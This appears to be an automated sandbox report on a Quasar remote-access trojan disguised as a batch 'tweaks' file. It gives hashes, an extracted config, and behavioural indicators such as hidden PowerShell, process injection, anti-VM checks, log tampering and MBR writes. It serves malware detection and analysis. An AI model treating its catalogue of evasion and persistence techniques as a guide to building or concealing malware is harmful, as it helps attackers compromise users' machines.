quasar | 7bf1cb8256c2f6c4866673d450bb64ff92508e73bf18c732c116615bdb7aaf62

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2024 02:36

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General

Target

ScoobyTweaks.bat
Size

7.4MB
MD5

dc341c4ec7fe7d3e81d7bca145454b0c
SHA1

b86edef88c3fd8da25c57b1df0e732ba63935731
SHA256

7bf1cb8256c2f6c4866673d450bb64ff92508e73bf18c732c116615bdb7aaf62
SHA512

45f87adb3f1339dbb091ae9ba6cc4db5eac9756d3fd00e92205b8d209ba393e6350f212e7561720fcf1220e76c7f785c5a68bfe62491d0f0bbf62dd1ee27822a
SSDEEP

49152:67z4Jsqm6fKiR3zbC83bKA3EHzpMHIsMA3zL32CIe3teYdc4Sp9XvGcUNGj5Wg9O:H

Score

10^/10

quasar bootkit defense_evasion execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
8FD5D2E379F77A87D3D01E36669A4248BA3FA460
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4368-2464-0x000001C65F760000-0x000001C65FEE4000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 1952 created 2532	1952	WerFault.exe	91
PID 3872 created 4368	3872	WerFault.exe	122

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2532 created 624	2532	powershell.exe	5
PID 4776 created 2532	4776	svchost.exe	91
PID 4368 created 624	4368	powershell.exe	5
PID 4776 created 4368	4776	svchost.exe	122
PID 4776 created 4368	4776	svchost.exe	122

Blocklisted process makes network request 13 IoCs

flow	pid	Process
37	4368	powershell.exe
38	4368	powershell.exe
39	4368	powershell.exe
40	4368	powershell.exe
44	4368	powershell.exe
45	4368	powershell.exe
46	4368	powershell.exe
47	4368	powershell.exe
48	4368	powershell.exe
49	4368	powershell.exe
50	4368	powershell.exe
51	4368	powershell.exe
52	4368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4368	powershell.exe
2532	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 1 IoCs

pid	Process
528	Fqnweg.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 15 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$nya-y6ArBaso	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaPatchDbTask	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs

pid	Process
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2532 set thread context of 4304	2532	powershell.exe	92
PID 4368 set thread context of 1456	4368	powershell.exe	123

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\$nya-onimai2	powershell.exe
File created	C:\Windows\$nya-onimai2\Fqnweg.exe	powershell.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File created	C:\Windows\$rbx-onimai2\$rbx-CO2.bat	cmd.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ozcigzlaztxdxs\Provision Sunday, December 29, 2024 02:36:40 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAr3enNPAhkUuG52MNvdQztwAAAAACAAAAAAAQZgAAAAEAACAAAACihQ9h3mN+Wz/+WJEMlrAxkdAzDwfk42fUP+aBxt4d5gAAAAAOgAAAAAIAACAAAACwBfy+wDYQaXyZR1ds7gR68YeTdngtzegtd32/lOHK8iAAAAD+K9NZTIl4160aFXgkiTMXZ0oPH3HSDNzdDq2rP+pCnUAAAAA63CKSfAO452HMp4hSpXKYiAESK/nm5NbZt5fCsGlgo0ZWNPwjc25odPZfdbRQBV1QBmyOG9EjVYOAZeSx/xbo"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1735439879"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00188011B5B35599"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ozcigzlaztxdxs\DeviceId = "<Data LastUpdatedTime=\"1735439801\"><User username=\"02OZCIGZLAZTXDXS\"><HardwareInfo BoundTime=\"1735439801\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ozcigzlaztxdxs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ozcigzlaztxdxs\DeviceId = "<Data LastUpdatedTime=\"1735439801\"><User username=\"02OZCIGZLAZTXDXS\"/></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02ozcigzlaztxdxs"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 29 Dec 2024 02:38:00 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ozcigzlaztxdxs\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00188011B5B35599 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000af77a734f021914b86e7630dbdd433b7000000000200000000001066000000010000200000004ccedbbc0ff0826b0acf9471687d10e085c1e427ba0e483f8446b67c4fb35d07000000000e8000000002000020000000162c060d1b6ef1ff80b5b287c2486f60adfde584250f0fb5066a8a05750870af800000008b9c6bf6a832eb7fa7f47561e05864770e01c0c9f5b52e3ce289b9b6c5fbb1bceacd84b9e5379f1f776a0afa7ceba7834c6e7fd501445e0cf397ae34409eadc87097cc4fdb90008c4a08f016e4f0428c4ff7c55e9d0be34018848865975fc20c4aca1fd5a3fb1866a4bbcf38f14b0a99b0a8209f0acb66e15e1b2b209a0259b840000000648f30ef561fbfec6a209bd4763071eefeefaba0eb46f332ff5a02544401a5bd3eac5deac3e769c91fa5ae903d92d8f25a7ef76e01cfbac9f0406c0cef3de0f8	mousocoreworker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2532	powershell.exe
2532	powershell.exe
2532	powershell.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe
4304	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeDebugPrivilege	4304	dllhost.exe
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeShutdownPrivilege	3404	Explorer.EXE
Token: SeCreatePagefilePrivilege	3404	Explorer.EXE
Token: SeShutdownPrivilege	2508	svchost.exe
Token: SeCreatePagefilePrivilege	2508	svchost.exe
Token: SeShutdownPrivilege	2508	svchost.exe
Token: SeCreatePagefilePrivilege	2508	svchost.exe
Token: SeShutdownPrivilege	2508	svchost.exe
Token: SeCreatePagefilePrivilege	2508	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1524	svchost.exe
